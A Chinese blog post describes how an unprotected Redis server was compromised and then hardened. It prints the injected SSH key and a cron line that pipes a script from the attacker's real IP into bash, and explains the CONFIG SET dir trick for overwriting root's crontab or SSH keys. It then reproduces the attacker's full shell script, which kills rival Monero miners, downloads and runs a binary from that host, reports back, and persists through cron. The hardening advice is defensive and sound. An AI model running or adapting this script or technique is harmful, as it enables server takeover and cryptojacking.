linux stoping redis,linux服务器保险—— 一次redis攻击的遭遇

最新推荐文章于 2023-01-17 14:42:33 发布

蒋伯雍

最新推荐文章于 2023-01-17 14:42:33 发布

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文章标签： linux stoping redis

打开redis客户端，发现redis中被存入了两个莫名其妙的东西，key值分别为crackit和gfpyskqrma，我很确定自己的程序不会向redis中存入这两个东西。

admin@VM-202-164-ubuntu:/$ /servers/redis-2.8.19/src/redis-cli -p 6379

127.0.0.1:6379> keys *

1) "crackit"

2) "gfpyskqrma"

查看这两个都存的什么东西：

127.0.0.1:6379> get crackit

"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCV6En/yo9BrY7ba0BsiFbg2hxLVdNerk1r3oKU1V0qeVMzRG8WdXkAiEXcvcmei1c85gPXDK3bqUX1XyLOy+hXfnTRRGfbMPOCclyoT/L3xeS1KMvWlP0qJVip7Mz+gwCEkQxSbZqdzBHStSFgAzoeGf12wUKEHLEpX7x7bs03vMUB8z7i1f10N+is84THQ4lMCpG4w3+CdeOKEssL2nL5abRhItjrfYgQH5cxtpwq55w97mVQ7PR9U2JSQSVWMTxy3rTx+7QP4JI2RS5yDRsjH4ISVwvu3gGyYAPfa6yofK+jjqChkyX4ipmTP9hAXf7lEvoZClVjCAwg1qslKieH aariz@el8.land\n\n\n\n"

127.0.0.1:6379> get gfpyskqrma

"\n\n* 10 * * * curl http://45.123.190.144:8080/lin.txt?redis | bash \n\n"

妥了，现在百分百确定服务器遭到了攻击。crackit存的是一个ssh公钥，gfpyskqrma存储的是一个cron定时任务。

看到这我就气急败坏了，连我吃泡面省钱买的云服务都不放过！不管三七二十一了，先一顿喷再说，直接在这两个key的值中喷他，也不管攻击者能不能看到啦，由于不清楚他是哪国的，中文英文拼音都用上一遍。哼!

好了，进入正题！现在研究一下他是怎么攻击的，打开redis config：

127.0.0.1:6379> CONFIG GET *

1) "dbfilename"

2) "root"

3) "requirepass"

4) ""

5) "masterauth"

6) ""

7) "unixsocket"

8) ""

9) "logfile"

10) ""

11) "pidfile"

12) "/var/run/redis.pid"

13) "maxmemory"

14) "0"

15) "maxmemory-samples"

16) "3"

17) "timeout"

18) "0"

19) "tcp-keepalive"

20) "0"

21) "auto-aof-rewrite-percentage"

22) "100"

23) "auto-aof-rewrite-min-size"

24) "67108864"

25) "hash-max-ziplist-entries"

26) "512"

27) "hash-max-ziplist-value"

28) "64"

29) "list-max-ziplist-entries"

30) "512"

31) "list-max-ziplist-value"

32) "64"

33) "set-max-intset-entries"

34) "512"

35) "zset-max-ziplist-entries"

36) "128"

37) "zset-max-ziplist-value"

38) "64"

39) "hll-sparse-max-bytes"

40) "3000"

41) "lua-time-limit"

42) "5000"

43) "slowlog-log-slower-than"

44) "10000"

45) "latency-monitor-threshold"

46) "0"

47) "slowlog-max-len"

48) "128"

49) "port"

50) "6379"

51) "tcp-backlog"

52) "511"

53) "databases"

54) "16"

55) "repl-ping-slave-period"

56) "10"

57) "repl-timeout"

58) "60"

59) "repl-backlog-size"

60) "1048576"

61) "repl-backlog-ttl"

62) "3600"

63) "maxclients"

64) "10000"

65) "watchdog-period"

66) "0"

67) "slave-priority"

68) "100"

69) "min-slaves-to-write"

70) "0"

71) "min-slaves-max-lag"

72) "10"

73) "hz"

74) "10"

75) "repl-diskless-sync-delay"

76) "5"

77) "no-appendfsync-on-rewrite"

78) "no"

79) "slave-serve-stale-data"

80) "yes"

81) "slave-read-only"

82) "yes"

83) "stop-writes-on-bgsave-error"

84) "no"

85) "daemonize"

86) "no"

87) "rdbcompression"

88) "yes"

89) "rdbchecksum"

90) "yes"

91) "activerehashing"

92) "yes"

93) "repl-disable-tcp-nodelay"

94) "no"

95) "repl-diskless-sync"

96) "no"

97) "aof-rewrite-incremental-fsync"

98) "yes"

99) "aof-load-truncated"

100) "yes"

101) "appendonly"

102) "no"

103) "dir"

104) "/var/spool/cron"

105) "maxmemory-policy"

106) "volatile-lru"

107) "appendfsync"

108) "everysec"

109) "save"

110) "900 1 300 10 60 10000"

111) "loglevel"

112) "notice"

113) "client-output-buffer-limit"

114) "normal 0 0 0 slave 268435456 67108864 60 pubsub 33554432 8388608 60"

115) "unixsocketperm"

116) "0"

117) "slaveof"

118) ""

119) "notify-keyspace-events"

120) "gxE"

121) "bind"

122) "127.0.0.1 XXX.XXX.XXX.XXX" #此处马赛克

127.0.0.1:6379>

可以看到，攻击者修改了redis用于存储数据的rdb文件的文件名和路径，路径和文件拼凑到一起是/var/spool/cron/root。这是要改我root用户计划任务的节奏啊，还好我的redis不是使用root用户执行的(这就是redis日志中出现大量权限不足的原因)，要不然攻击者已经得手了。想想就可怕，如果我的redis是使用root用户部署的，那攻击者岂不是为所欲为了。例如他如果把SSH公钥写到/root/.ssh中，就可以畅通无阻地登录我的服务器，或者他直接破坏掉我的/etc/passwd，那谁也别想登录了，只能刷系统了。没想到redis居然有这么大的漏洞。(通过redis的CONFIG SET dir /tmp/ 命令就可以直接动态设置存储路径了，其他参数的设置也一样)

还没完。现在看一下他的定时脚本里边都是什么内容，直接浏览器打开http://45.123.190.144:8080/lin.txt?redis ，以下就是他的shell代码：

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

HOST=45.123.190.144:8080

CALLBACK=$HOST

DOWNLOADER="curl "

#DOWNLOADER="wget -q -O - "

LFILE_NAME="BoomBoom"

# LFILE_PATH=`pwd`/$LFILE_NAME

LFILE_PATH=/tmp/$LFILE_NAME

DEFAULT_RFILE=$HOST/BoomBoom

OTHERS_RFILE=$HOST/BoomBoom2

CLEAN ()

{

grep -q -F '* soft memlock 262144' /etc/security/limits.conf || echo '* soft memlock 262144' >> /etc/security/limits.conf

grep -q -F '* hard memlock 262144' /etc/security/limits.conf || echo '* hard memlock 262144' >> /etc/security/limits.conf

grep -q -F 'vm.nr_hugepages = 256' /etc/sysctl.conf || echo 'vm.nr_hugepages = 256' >> /etc/sysctl.conf

sysctl -w vm.nr_hugepages=256

RMLIST=(/tmp/*index_bak* /tmp/*httpd.conf* /tmp/*httpd.conf /tmp/a7b104c270 /tmp/Carbon)

KILIST=(crobon sb1 wipefs AnXqV.yam zhuabcn@yahoo.com monerohash.com /tmp/a7b104c270 stratum.f2pool.com:8888 42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQt989KEfGRt6Ww2Xg8 46SDR76rJ2J6MtmP3ZZKi9cEA5RQCrYgag7La3CxEootQeAQULPE2CHJQ4MRZ5wZ1T73Kw6Kx4Lai2dFLAacjerbPzb5Ufg 42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe xmrpool.eu mine.moneropool.com xmr.crypto-pool.fr:8080 xmr.crypto-pool.fr:3333 xmr.crypto-pool.fr:6666 xmr.crypto-pool.fr:7777 xmr.crypto-pool.fr:443)

for item in ${RMLIST[@]}

rm -rf $item

done

for item in ${KILIST[@]}

ps auxf|grep -v grep|grep $item|awk '{print $2}'|xargs kill -9

done

days=$(($(date +%s) / 60 / 60 / 24))

ps auxf|grep -v grep|grep "42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "45cToD1FzkjAxHRBhYKKLg5utMGENqyamWrY8nLNkVQ4hJgLHex1KNRZcz4finRjMpAYmPxDaXVpN2rV1jMNyXRdMEaH1YA"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep ${days}|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "logind.conf"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "kworker"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "Silence"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "45hsTaSqTQM4K1Xeqkcy7eLzqdEuQ594fJVmQryCemQSCU878JGQdSDCxbhNyVjSkiaYat8yAfBuRTPSEUPZoARm9a5XEHZ"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "47sghzufGhJJDQEbScMCwVBimTuq6L5JiRixD8VeGbpjCTA12noXmi4ZyBZLc99e66NtnKff34fHsGRoyZk3ES1s1V4QVcB"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "t.sh"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "wipefs"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "carbon"|awk '{print $2}'|xargs kill -9

pkill -f 49hNrEaSKAx5FD8PE49Wa3DqCRp2ELYg8dSuqsiyLdzSehFfyvk4gDfSjTrPtGapqcfPVvMtAirgDJYMvbRJipaeTbzPQu4

pkill -f 4AniF816tMCNedhQ4J3ccJayyL5ZvgnqQ4X9bK7qv4ZG3QmUfB9tkHk7HyEhh5HW6hCMSw5vtMkj6jSYcuhQTAR1Sbo15gB

pkill -f 4813za7ePRV5TBce3NrSrugPPJTMFJmEMR9qiWn2Sx49JiZE14AmgRDXtvM1VFhqwG99Kcs9TfgzejAzT9Spm5ga5dkh8df

pkill -f cpuloadtest

pkill -f crypto-pool

pkill -f xmr

pkill -f prohash

pkill -f monero

pkill -f miner

pkill -f nanopool

pkill -f minergate

pkill -f yam

pkill -f Silence

pkill -f yam2

pkill -f minerd

pkill -f Circle_MI.png

pkill -f curl

ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "crypto-pool"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "prohash"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "monero"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "miner"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "nanopool"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "minergate"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "44pgg5mYVH6Gnc7gKfWGPR2CxfQLhwdrCPJGzLonwrSt5CKSeEy6izyjEnRn114HTU7AWFTp1SMZ6eqQfvrdeGWzUdrADDu"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "49JsSwt7MsH5m8DPRHXFSEit9ZTWZCbWwS7QSMUTcVuCgwAU24gni1ydnHdrT9QMibLtZ3spC7PjmEyUSypnmtAG7pyys7F"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "479MD1Emw69idbVNKPtigbej7x1ZwFR1G3boyXUFfAB89uk2AztaMdWVd6NzCTfZVpDReKEAsVVBwYpTG8fsRK3X17jcDKm"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "11231"|awk '{print $2}'|xargs kill -9

pkill -f biosetjenkins

ps ax|grep -o './[0-9]* -c'| xargs pkill -f

pkill -f Loopback

pkill -f apaceha

pkill -f cryptonight

ps ax|grep tmp|grep irqa|grep -v grep|awk '{print $1}'|xargs ps --ppid|awk '{print $1}'|grep -v PID|xargs kill -9

ps ax|grep tmp|grep irqa|grep -v grep|awk '{print $1}'|xargs kill -9

pkill -f 45.76.102.45

pkill -f stratum

pkill -f mixnerdx

pkill -f performedl

pkill -f sleep

pkill -f JnKihGjn

pkill -f irqba2anc1

pkill -f irqba5xnc1

pkill -f irqbnc1

pkill -f ir29xc1

pkill -f conns

pkill -f irqbalance

pkill -f crypto-pool

pkill -f minexmr

pkill -f XJnRj

pkill -f NXLAi

pkill -f BI5zj

pkill -f askdljlqw

pkill -f minerd

pkill -f minergate

pkill -f Guard.sh

pkill -f ysaydh

pkill -f bonns

pkill -f donns

pkill -f kxjd

pkill -f 108.61.186.224

pkill -f Duck.sh

pkill -f bonn.sh

pkill -f conn.sh

pkill -f kworker34

pkill -f kw.sh

pkill -f pro.sh

pkill -f polkitd

pkill -f acpid

pkill -f icb5o

pkill -f nopxi

ps -ef|grep '.so'|grep -v grep|cut -c 9-15|xargs kill -9;

pkill -f 45.76.146.166

pkill -f irqbalanc1

pkill -f 188.120.247.175

rm -rf /tmp/httpd.conf

rm -rf /tmp/conn

rm -rf /tmp/conns

rm -f /tmp/irq.sh

rm -f /tmp/irqbalanc1

rm -f /tmp/irq

}

DEFAULT ()

{

$DOWNLOADER $DEFAULT_RFILE > $LFILE_PATH

chmod +x $LFILE_PATH

ps -ef|grep $LFILE_NAME|grep -v grep

if [ $? -ne 0 ]; then

$LFILE_PATH -B && $DOWNLOADER "${CALLBACK}/?info=l60"

else

$DOWNLOADER "${CALLBACK}/?info=l69"

}

OTHERS ()

{

$DOWNLOADER $OTHERS_RFILE > $LFILE_PATH

chmod +x $LFILE_PATH

ps -ef|grep $LFILE_NAME|grep -v grep

if [ $? -ne 0 ]; then

$LFILE_PATH -B && $DOWNLOADER "${CALLBACK}/?info=l30"

else

$DOWNLOADER "${CALLBACK}/?info=l39"

}

CRON () {

if [ -x /usr/bin/wget ] ; then

echo '*/8 * * * * wget -q -O - $HOST/lin.txt |bash' > /tmp/.$LFILE_NAME.cron

elif [ -x /usr/bin/curl ] ; then

echo '*/8 * * * * curl $HOST/lin.txt |bash' > /tmp/.$LFILE_NAME.cron

else

exit 0;

crontab -r

crontab /tmp/.$LFILE_NAME.cron

rm /tmp/.$LFILE_NAME.cron

}

INIT () {

echo 128 > /proc/sys/vm/nr_hugepages

sysctl -w vm.nr_hugepages=128

}

KILL () {

ps aux |grep -v sourplum | awk '{if($3>20.0) print $2}' | while read procid

kill -9 $procid

done

}

CLEAN

KILL

INIT

if [ $(getconf WORD_BIT) = '32' ] && [ $(getconf LONG_BIT) = '64' ] ; then

DEFAULT

else

OTHERS

# CRON

crontab -r

等一下再看这个浑蛋做了什么，当务之急是解决redis的问题，切断他的攻击渠道。

先关掉redis吧

dmin@VM-202-164-ubuntu:~$ ps -aux|grep redis|grep -v grep

admin 10167 0.0 1.3 38300 12136 ? Sl Feb03 1:27 /servers/redis-2.8.19/src/redis-server 127.0.0.1:6379

admin@VM-202-164-ubuntu:~$ kill -9 10167

admin@VM-202-164-ubuntu:~$ ps -aux|grep redis|grep -v grep

admin@VM-202-164-ubuntu:~$

进入redis目录，修改redis配置文件。

admin@VM-202-164-ubuntu:~/redis-2.8.19$ vi redis.conf

先修改一下bind：(说明一下：修改之前我是这样配置的bind 127.0.0.1 XXX.XXX.XXX.XXX，其中xxx是腾讯云服务器的内网ip，所以我没理解错的话，攻击者是使用腾讯云内网ip登录我的redis服务的。也就是说攻击者使用的也是腾讯云服务器)

# Examples:

# bind 127.0.0.1 XXX.XXX.XXX.XXX

bind 127.0.0.1

再改下端口吧，不要用默认的了：

# Accept connections on the specified port, default is 6379.

# If port 0 is specified Redis will not listen on a TCP socket.

port 6970

禁用掉CONFIG和EVAL命令：

# Example:

# rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52

# It is also possible to completely kill a command by renaming it into

# an empty string:

rename-command CONFIG ""

rename-command EVAL ""

还有最关键的，设置一个密码：

# Warning: since Redis is pretty fast an outside user can try up to

# 150k passwords per second against a good box. This means that you should

# use a very strong password otherwise it will be very easy to break.

requirepass 2wsx!QAZ

启动redis吧，现在应该足够安全了吧：

admin@VM-202-164-ubuntu:~/redis-2.8.19$ /servers/redis-2.8.19/src/redis-cli -p 6970 -a '2wsx!QAZ'

启动客户端别忘记加上密码。最后就是修改应用程序中的redis端口和密码了。如果想要在其他服务器上也能访问到redis服务，那就只能bind上内网ip了，但是推荐使用iptables创建防火墙规则。

一定不要使用root部署redis，太可怕了。

现在redis基本安全了，不用担心再次受到攻击了，但是还要检查一下服务器，看看那个攻击者有没有留下什么东西，清理一下。

admin@VM-202-164-ubuntu:~$ cd .ssh

-bash: cd: .ssh: No such file or directory

admin@VM-202-164-ubuntu:~$ crontab -l

no crontab for admin

admin@VM-202-164-ubuntu:~$

admin@VM-202-164-ubuntu:/var/spool/cron$ ls -lrta

total 20

drwxrwx--T 2 daemon daemon 4096 Jan 15 2016 atspool

drwxr-xr-x 4 root root 4096 Oct 26 2016 ..

drwxr-xr-x 5 root root 4096 Oct 26 2016 .

drwxrwx--T 2 daemon daemon 4096 Oct 26 2016 atjobs

drwx-wx--T 2 root crontab 4096 Feb 4 18:51 crontabs

admin@VM-202-164-ubuntu:/var/spool/cron$ cd crontabs

-bash: cd: crontabs: Permission denied

攻击者并没有将SSH公钥写入当前用户，crontabs权限正常，是安全的，看来他直接是奔着root去的，并没有得手。如此看来，这应该是一个攻击脚本了，那看来我喷他他是看不到了，唉！

最后看一下那个脚本都想要干什么吧：

先是清了一下相关进程和临时文件->>杀掉了cpu占用大于20%的进程->>设置了一下nr_hugepages->>在他的服务器(45.123.190.144:8080/BoomBoom)上下载一个BoomBoom->>BoomBoom添加可执行权限。好吧，不明觉厉，下载了BoomBoom看看，2.17M的一个东西，不知道是什么。

蒋伯雍

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linux stoping redis,linux服务器保险—— 一次redis攻击的遭遇

打开redis客户端，发现redis中被存入了两个莫名其妙的东西，key值分别为crackit和gfpyskqrma，我很确定自己的程序不会向redis中存入这两个东西。admin@VM-202-164-ubuntu:/$ /servers/redis-2.8.19/src/redis-cli -p 6379127.0.0.1:6379> keys *1) "crackit"2) "gfp...
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